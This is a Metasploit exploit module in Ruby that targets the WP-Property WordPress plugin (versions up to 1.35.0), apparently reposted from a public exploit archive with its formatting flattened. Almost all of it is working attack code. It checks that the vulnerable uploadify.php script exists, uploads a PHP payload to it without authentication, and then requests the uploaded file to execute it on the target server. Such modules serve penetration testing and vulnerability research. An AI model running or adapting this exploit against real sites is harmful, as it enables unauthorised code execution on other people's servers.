WordPress Plugin WP-Property – Arbitrary ‘.PHP’ File Upload (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/core/exploit/php_exe' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability', 'Description' => %q{ This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' => [ 'Sammy FORGIT', # initial discovery 'James Fitts <fitts.james[at]gmail.com>' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '82656' ], [ 'BID', '53787' ], [ 'EDB', '18987'], [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ] ], 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 26 2012')) register_options( [ OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php" }) if not res or res.code != 200 return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Appears end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true) data = Rex::MIME::Message.new data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"") data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"") post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') print_status("#{peer} - Uploading payload #{@payload_name}") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php", 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if not res or res.code != 200 or res.body !~ /#{@payload_name}/ fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") end upload_uri = res.body print_status("#{peer} - Executing payload #{@payload_name}") res = send_request_raw({ 'uri' => upload_uri, 'method' => 'GET' }) end end |